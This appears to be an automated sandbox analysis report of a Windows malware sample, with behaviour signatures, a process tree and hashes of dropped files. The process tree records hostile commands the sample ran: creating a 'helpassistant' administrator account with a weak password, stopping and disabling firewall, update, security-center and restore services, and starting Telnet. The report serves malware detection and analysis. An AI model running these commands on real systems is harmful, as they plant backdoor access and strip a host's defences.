Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 04:33

General

  • Target
    2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar.exe
  • Size 6.9MB
  • Sample260907-e61vbsw1a1
  • SHA256 182a90fbdf4ce8272a75f13c619f692cf998400d4d4293d640908cc07ea7ef6a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1852
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:5552
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar~1.Doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:1816
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:264
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4072
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2984
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4164
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3584
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:812
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4900
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:472
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2356
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6112
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:424
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1744
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3684
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2368
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2372
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3548
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4884
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1184
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4356

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 7.4MB
        • SHA256 c7cf8cb5199b0d31e35aa573641e59914830d641d481fca1d2cdc781d1320d01
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 7.9MB
        • SHA256 c2f20d94c00ea1874434865f2183afc37c36087730a343c06c21d6ddb713915b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 7.6MB
        • SHA256 17e1f8d46d01ec068da0061f746e47341e65c045187be1f0165c1986774cf36f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 6.9MB
        • SHA256 f000bb9c8da36481d41288d39429ba8aa02f619b648c3d0ae4f72cf9635a4ac5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 13.0MB
        • SHA256 e0814a7b8b6928e9a48f718bfc94e03b98d9fb952390e62c490f2cfdacf6569d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 8.6MB
        • SHA256 95b78594c99ceb889b9699fd7190eef4befa17c0dd63b28e1de530b0152db08b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 10.4MB
        • SHA256 3143b95fb0734bc5bd511ac7205986fc1abf6502a5eda2a1a98e056b936e5d34
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 9.2MB
        • SHA256 9917d880edb24d3ffcd7492683b50761403e3875d33e57d9f375f3d0eaecf48c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        notification_helper.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 8.5MB
        • SHA256 0cb550e4a062519ae4343a302202c463c4c0dc1728637064ab753595902263cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 8.8MB
        • SHA256 d16ba9ab51fff9aee9ab327ea0c6e0fcb54ddaf698dfc8872b28433210dee46d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 10.0MB
        • SHA256 df09d4ab71369e914a220b4b72b0ecb63c7bb7cffb24f0a45c0668b61a9e14ec
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 6.9MB
        • SHA256 f1c4696ec702fb71ae6562a2d4c4118769f046f173757080022665912b40db67
        • MD5 SHA1 SHA512 SSDEEP TLSH

        extcheck.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 6.9MB
        • SHA256 d5f14c8dd39468457b7614f5aee2b0e9b5f07ae839d51c0f635f71bf350a7ef4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 6.9MB
        • SHA256 2fe95156b1cebe0a4ef39f69a70b9474a48da2f0386d15145e1f20f3f3458793
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 7.0MB
        • SHA256 a9d672091ff67d97131732bce81a095df756edbfa8f867f7ebfb9ac7a1e059b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jar.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 6.9MB
        • SHA256 92ebf28613cb002191e235ba38ca9635f9f6cab3755ee0358e6b091083ae27db
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jarsigner.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 6.9MB
        • SHA256 36bc2826e9f029237b9f2f949763c3d749fd5128016bd050ccd5b041796721c1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        java-rmi.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe
        • Size 6.9MB
        • SHA256 43796f076e956d68874d7e0848ed7afeaa1c50cfa98fa4d618f7f51badeeeb59
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 7.1MB
        • SHA256 6a8059e745b880f2e404742598127ee7bab9fcd10f91451e05f4df78a98eb56c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 7.0MB
        • SHA256 06403a219dfa8b3728469db796b9831435e25dbebadba465770fc092b5c582c0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 7.0MB
        • SHA256 a95b56afda7436b84ac4e47e25b7d3de6479a8b3cfbd04aa2b2d34c97bd5e0dc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gb.xsl

        • Path C:\Users\Admin\AppData\Local\Temp\TCD1083.tmp\gb.xsl
        • Size 262KB
        • SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar~1.Doc

        • Path C:\Windows\SysWOW64\Drivers\2026-09-06_4057ad5cf38310b185a71258c9d91f0c_cobalt-strike_elex_hijackloader_icedid_njrat_redline-stealer_rhadamanthys_vidar~1.Doc
        • Size 4KB
        • SHA256 b00aeb2fbd479d76ec5ff079f637bb694d7c986050d97d3cc6f4b093107c4a70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 6.9MB
        • SHA256 a77dec7f9a5ec2f25a695dd1612ebdb0147bac7d1e91d48d7ed47cb9b1d06f57
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 c71cbf366fa6b962d6dc2554fdf3e23769a1e4a018e2ad5cecc082e3d40b3cdc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 3234018bba2c040494f62348f82dd68c36d6cfe9ab5345fa4b5d5525a94debbf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 33754943d598e5ce549353b0824393715cc9b99a6a678b89af34995813fd4414
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 efbff9d9b639a3a6a2e1cc508b38897beb000c6d4d45077ed8ba4215be9eb4b8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 e15b93ca5db303ca215ea4424146319f663300b3f6f192ec2e7b9957f16904bf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 66319299026649c3b17b701a9b6388408f4ecef0d9a49f6f8f85f0d65c0cb49d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 e4230097e08686f7e0e5ca97aa44b58d921c324b38ff3dd5d18741d0d145ce19
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 6.9MB
        • SHA256 adec821b9cf2a6c7e2e944d11225e68d3da910294d7ff8afb013583ea39dd6b4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1816-38-0x00007FF8EBC80000-0x00007FF8EBC90000-memory.dmp

        memory/1816-35-0x00007FF8EBC80000-0x00007FF8EBC90000-memory.dmp

        memory/1816-36-0x00007FF8EBC80000-0x00007FF8EBC90000-memory.dmp

        memory/1816-41-0x00007FF8E95B0000-0x00007FF8E95C0000-memory.dmp

        memory/1816-40-0x00007FF8E95B0000-0x00007FF8E95C0000-memory.dmp

        memory/1816-39-0x00007FF8EBC80000-0x00007FF8EBC90000-memory.dmp

        memory/1816-37-0x00007FF8EBC80000-0x00007FF8EBC90000-memory.dmp